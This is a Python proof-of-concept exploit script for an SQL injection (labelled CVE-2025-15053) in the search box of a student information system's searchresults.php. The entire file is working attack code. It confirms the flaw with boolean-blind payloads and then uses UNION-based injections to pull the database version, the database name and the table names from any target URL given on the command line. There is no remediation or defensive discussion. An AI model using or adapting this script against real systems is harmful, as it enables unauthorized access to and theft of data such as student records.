import requests
import sys
# CVE-2025-15053 SQL Injection PoC
# Target: code-projects Student Information System 1.0
# Endpoint: /searchresults.php
# Parameter: searchbox
def exploit_sqli(target_url, payload):
"""
Exploit SQL injection vulnerability in searchresults.php
Args:
target_url: Base URL of the vulnerable application
payload: SQL injection payload to inject
Returns:
Response from the server
"""
params = {
'searchbox': payload
}
try:
response = requests.get(f'{target_url}/searchresults.php', params=params, timeout=10)
return response
except requests.exceptions.RequestException as e:
print(f'[!] Error: {e}')
return None
def extract_db_version(target_url):
"""Extract database version using UNION-based injection"""
payload = "' UNION SELECT NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL---"
print(f'[*] Extracting database version...')
return exploit_sqli(target_url, payload)
def extract_database_name(target_url):
"""Extract current database name"""
payload = "' UNION SELECT NULL,database(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL---"
print(f'[*] Extracting database name...')
return exploit_sqli(target_url, payload)
def extract_tables(target_url):
"""Extract table names from information_schema"""
payload = "' UNION SELECT NULL,group_concat(table_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()---"
print(f'[*] Extracting table names...')
return exploit_sqli(target_url, payload)
def boolean_blind_injection(target_url):
"""Boolean-based blind SQL injection to confirm vulnerability"""
true_payload = "' AND 1=1---"
false_payload = "' AND 1=2---"
print(f'[*] Testing boolean blind injection...')
true_resp = exploit_sqli(target_url, true_payload)
false_resp = exploit_sqli(target_url, false_payload)
if true_resp and false_resp:
if len(true_resp.text) != len(false_resp.text):
print('[+] Boolean blind injection confirmed!')
return True
return False
def main():
if len(sys.argv) < 2:
print('Usage: python cve-2025-15053.py <target_url>')
print('Example: python cve-2025-15053.py http://target.com/student-info-system')
sys.exit(1)
target_url = sys.argv[1].rstrip('/')
print('=' * 60)
print('CVE-2025-15053 SQL Injection Exploit')
print('Target: Student Information System 1.0')
print('=' * 60)
# Confirm vulnerability
if boolean_blind_injection(target_url):
print('[+] Vulnerability confirmed!')
# Extract information
extract_db_version(target_url)
extract_database_name(target_url)
extract_tables(target_url)
else:
print('[-] Vulnerability not confirmed or target not vulnerable')
if __name__ == '__main__':
main()